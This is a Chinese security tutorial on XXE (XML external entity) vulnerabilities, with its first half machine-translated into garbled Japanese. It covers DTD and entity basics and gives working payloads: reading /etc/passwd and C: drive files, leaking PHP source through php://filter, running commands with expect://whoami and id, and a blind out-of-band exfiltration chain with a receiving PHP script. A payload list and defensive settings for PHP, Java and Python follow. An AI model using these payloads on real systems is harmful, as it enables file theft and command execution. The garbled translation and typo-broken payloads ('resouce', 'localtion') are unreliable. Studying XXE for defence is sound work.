0x00のXMLの基礎
XXE抜け穴を導入する前に、まずXMLの基礎の温かいケアについて学びます。XMLを送信し、コンテンツデータの焦点である店舗データ、ように設計されている、HTMLから分離されたデータは、ハードウェアとソフトウェアの情報転送ツールとは無関係です。
XML宣言、DTD文書型定義(オプション)、文書要素を含むXML文書構造の0x01のXML文書構造。
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
XXEの脆弱性以来DTD文書に関連付けられているので、DTDの概念に焦点を当てています。
0×02のDTD
文書型定義(DTD)は、XML文書の法的なビルディング・ブロックを定義するために、それは、文書の構造を定義するために法的な一連の要素を使用しています。DTDは、行のXML文書(内部基準)の中で宣言することができ、それはまた、外部の基準として使用することができます。
1は、DTD内で宣言します:
<!DOCTYPE 根元素 [元素声明]>
図2に示すように、外部のDTDを参照します。
<!DOCTYPE 根元素 SYSTEM "文件名">
次のようにDTD文書は、多くの重要なキーワードがあります。
- DOCTYPE(DTD宣言)
- ENTITY(文のエンティティ)
- SYSTEM、PUBLIC(外部リソース要求)
0x03のエンティティエンティティは、変数として理解することができ、それはDTDの定義に記載しなければならない、あなたは、ドキュメント内の別の場所に変数の値を参照することができます。タイプ別のエンティティは次の4つのカテゴリに分かれて:
- 内蔵エンティティ(内蔵エンティティ)
- 文字エンティティ(文字エンティティ)
- 一般的なエンティティ(一般実体)
- パラメータエンティティ(パラメタ実体)
参照エンティティによると、企業は、内部および外部エンティティに分けることができ、これらのエンティティが肯定されているかを見てみましょう。
完全なエンティティクラスは、DTDを参照することができます-エンティティ(https://www.tutorialspoint.com/dtd/dtd_entities.htm)
はじめに3.1エンティティクラス
パラメータエンティティは%エンティティ名は、エンティティの名前を参照する際にも使用される%を肯定使用し、残りのエンティティ名エンティティが直接述べ、時間・エンティティ名を参照して。
パラメータ実体は、DTD、DTD参照に宣言することができ、残りは唯一のDTD実体の中で宣言することができ、XML文書内で参照することができます。
(1)内部エンティティ。
<!ENTITY 实体名称 "实体的值">
(2)外部エンティティ。
<!ENTITY 实体名称 SYSTEM "URI">
(3)物理的パラメータ:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
(4)実施例は:パラメータエンティティをエンティティ内部エンティティ+除き
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "This is a xxe test!">]>
<foo>
<value>&name;</value>
</foo>
(5)例を示します。外部実体パラメーター実体+
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
注意:%名(パラメタ実体は)DTD内で参照され、そして&名(残りのエンティティ)は、XML文書内で参照されます。
XXEの脆弱性は、DTD、外部エンティティの使用は抜け穴がつながる参照されているので、それから見て、外部実体参照のどのタイプに焦点を当てることができます。
3.2 DTD内の外部エンティティ外部エンティティを使用すること
<!ENTITY 实体名称 SYSTEM "URI">
むしろ、内部実体よりも外部のエンティティへの文法のリファレンスは、その後、外部エンティティの種類URIはそれで書くことができますか?
主なものは、ファイル、HTTP、HTTPS、FTP、およびそうです、もちろん、別のプログラムのサポートは同じではありません。
プレゼンテーションの例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<foo>
<value>&name;</value>
</foo>
0x04のXXEの脆弱性
XXE XML外部エンティティインジェクションの脆弱性を意味し
、XML外部エンティティインジェクションの脆弱性で、XXEアプリケーションがXML入力を解析するときに発生する脆弱性、外部実体をロードするための何の禁止は、悪意のある外部ファイルをロードするために主要な、存在しない、読み込むファイルを引き起こして、コマンドの実行、ネットワークポートスキャン、攻撃におけるネットワークサイトは、DoS攻撃やその他の危険を立ち上げました。
XXE脆弱性トリガーポイントは、多くの場合、悪質なxmlファイルをアップロードする大手、xmlファイルの場所、ないxmlファイルのアップロードフィルタリングをアップロードすることができます。
4.1 XXEの脆弱性検出
XMLが正常に解決されるかどうかを検出するための最初のステップ:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "my name is nMask">]>
<root>&name;</root>
ページ出力が私の名前はnMaskある場合は、説明のxmlファイルを解消することができます。
サーバーは、DTDの外部実体参照をサポートしているかどうかを検出するための第二段階:
<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/index.html">
%name;
]>
それはあなたのサーバーの要求のtest.xmlにリクエストを送信し、ターゲット・サーバーかどうかを確認するために、独自のサーバーログを調べることで判断することができます。
参照は外部エンティティをサポートする場合、XXE脆弱性があると考えています。
4.2悪用
そのようなネットワークのウェブサイト内のファイル、コマンド実行、ネットワークポートスキャン攻撃を読み取ることができるようXXEの脆弱性は、多くの危険にありますが、DoS攻撃を開始しました
4.2.1は、任意のファイルを読み込みます
私はWindows上でテストをしていたので、それをCドライブの内容であるtest.txtファイルを読み込むことができます。
Linuxでの場合は、/ etc / passwdファイルやその他の機密データディレクトリをお読みください。
ファイルには、DTDが持っているかもしれ参照される外部エンティティに加えて、成功するために上記のいずれかを読んで、だけでなく、エコーである出力情報に依存します。
4.2.2 获取页面源码
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=conver.base64-encode/resouce=index.php">]>
<root>
<name>&xxe;</name>
</root>
返回的base64编码,即为index.php的源码
4.2.3 执行系统命令
在特殊的配置环境下,如PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中,就能执行命令。
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "expect://whoami">]>
<root>
<name>&xxe;</name>
</root>
4.2.4 blind xxe漏洞
对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。
创建test.php写入以下内容:
<?php
file_put_contents("test.txt", $_GET['file']) ;
?>
创建index.php写入以下内容:
<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/test.txt">
<!ENTITY % remote SYSTEM "http://localhost/test.xml">
%remote;
%all;
%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
?>
创建test.xml并写入以下内容:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">
当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。
0x05 总结一些payload
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
<name>&content;</name>
</note>
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "expect://id">
]>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "http://localtion/xxe_file.dtd">
]>
xxe_file.dtd的代码
<!ENTITY % file SYSTEM "file:///etc/flag.txt">
<!ENTITY % all "">
%all;
0x06 XXE漏洞修复与防御
6.1 使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
6.2 过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
0x07 绕过XXE漏洞的防护
(今天脑子有点晕,明天再搞了)
参考链接
https://blog.csdn.net/Fly_hps/article/details/85228722
https://www.cnblogs.com/r00tuser/p/7255939.html#top